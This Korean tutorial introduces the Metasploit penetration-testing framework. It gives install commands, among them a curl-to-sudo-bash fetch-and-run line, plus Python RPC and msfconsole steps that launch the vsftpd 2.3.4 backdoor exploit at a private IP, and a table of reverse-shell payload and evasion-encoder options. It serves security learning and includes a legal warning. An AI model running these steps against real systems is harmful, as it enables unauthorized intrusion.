데이터 엔지니어 · AI 엔지니어를 위한 핵심 요약
Metasploit Framework는 침투 테스트(Pentest)와 취약점 분석을 위한 오픈소스 플랫폼입니다. Rapid7이 유지보수하며, 전 세계 Red Team과 보안 연구원이 사용하는 사실상의 표준 도구입니다. Python, Ruby, C 등 다양한 언어로 작성된 모듈을 통해 공격 코드 개발, 페이로드 생성, 포스트 익스플로잇을 자동화합니다.
다음은 Metasploit의 3대 핵심 능력입니다.
취약점에 맞는 익스플로잇 모듈을 검색·선택·실행. 원격 코드 실행(RCE), 권한 상승 등 다양한 공격 벡터 지원.
reverse shell, bind shell, Meterpreter 등 목적에 맞는 페이로드를 동적으로 생성. 인코딩, 난독화 기능 내장.
타겟 장악 후 정보 수집, 크리덴셜 덤프, 지속성 유지, 측면 이동 등 고급 작업을 모듈화.
기존의 수동 익스플로잇이나 상용 도구(Core Impact, Canvas)와 비교할 때 Metasploit은 오픈소스, 방대한 모듈 저장소, 커뮤니티 지원이라는 강점을 가집니다. 특히 AI 보안 엔지니어에게는 자동화 파이프라인에 통합하기 쉬운 msfrpc Python API가 큰 장점입니다.
| 비교 항목 | Metasploit | Core Impact | 수동 익스플로잇 |
|---|---|---|---|
| 라이선스 | 오픈소스 (BSD) | 상용 (고가) | N/A |
| 모듈 수 | 2,000+ | ~500 | 제한적 |
| Python API | ✅ msfrpc | ❌ 제한적 | ❌ |
| 자동화 친화도 | 높음 (REST, RPC) | 중간 | 낮음 |
| 커뮤니티 | 매우 활성 | 폐쇄적 | 개인 의존 |
💡 AI 엔지니어 포인트: Python pymetasploit3 라이브러리를 사용하면 ML 기반 취약점 스코어링 파이프라인에 Metasploit을 쉽게 통합할 수 있습니다.
Metasploit의 아키텍처는 msfconsole을 중심으로 모듈, 페이로드, 리스너가 유기적으로 연결됩니다.
주요 구성 요소:
# 패키지 매니저로 설치 (Kali Linux 기본 포함)
sudo apt update && sudo apt install metasploit-framework
# 또는 GitHub에서 직접 설치
curl -L https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate | sudo bash
# PostgreSQL 시작 및 초기화
sudo systemctl start postgresql
sudo msfdb init
# 상태 확인
msfdb status
Python으로 Metasploit RPC를 제어하여 간단한 익스플로잇을 실행합니다.
# pip install pymetasploit3
from pymetasploit3.msfrpc import MsfRpcClient
# 로컬 msfrpcd에 연결 (기본 포트 55553)
client = MsfRpcClient('your_password', port=55553)
# 익스플로잇 모듈 로드
exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
exploit['RHOSTS'] = '192.168.1.100'
exploit['RPORT'] = 21
# 페이로드 설정
payload = client.modules.use('payload', 'cmd/unix/interact')
exploit.payload = payload
# 실행
result = exploit.execute()
print(f"Session created: {result}")
msfconsole -q
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set RPORT 21
msf6 > set PAYLOAD cmd/unix/interact
msf6 > run
⚠️ 주의: 실제 환경에서 허가 없이 익스플로잇을 실행하는 것은 불법입니다. 반드시 자체 테스트 환경 또는 공인된 모의훈련에서만 사용하세요.
익스플로잇 실행 전 반드시 설정해야 하는 주요 옵션입니다.
| 옵션 | 설명 | 예시 값 |
|---|---|---|
| RHOSTS | 타겟 IP 또는 호스트 (여러 개 가능) | 192.168.1.0/24 |
| RPORT | 타겟 포트 | 445 (SMB) |
| LHOST | 공격자 IP (리버스 연결 수신) | 10.0.0.5 |
| LPORT | 공격자 리스너 포트 | 4444 |
| PAYLOAD | 사용할 페이로드 모듈 | windows/x64/meterpreter/reverse_tcp |
| TARGET | 타겟 OS/버전 (0부터 시작) | 0 (자동) |
| ENCODER | 페이로드 인코딩 (우회용) | x86/shikata_ga_nai |
🔧 팁: show options 명령어로 현재 모듈의 모든 설정 가능한 옵션을 확인하세요.
| 문제 | 원인 | 해결책 |
|---|---|---|
| DB 연결 실패 | PostgreSQL 미실행 또는 msfdb 미초기화 | sudo systemctl start postgresql && sudo msfdb init |
| 페이로드 생성 실패 | 아키텍처 불일치 / 인코더 문제 | show payloads로 호환 목록 확인, set ENCODER generic/none 시도 |
| 세션 수신 안 됨 | 방화벽 / NAT / LHOST 오설정 | LHOST를 공인 IP로 설정, 리스너 포트 방화벽 오픈, check 명령어로 사전 점검 |
| 모듈 검색 안 됨 | 데이터베이스 캐시 문제 | db_rebuild_cache 또는 msfupdate 실행 |
| Python RPC 연결 거부 | msfrpcd 미실행 또는 비밀번호 불일치 | msfrpcd -P your_password -S 로 데몬 실행 |
📚 추가 학습: Metasploit의 post/ 모듈과 auxiliary/ 스캐너를 직접 분석해보면 실력 향상에 큰 도움이 됩니다.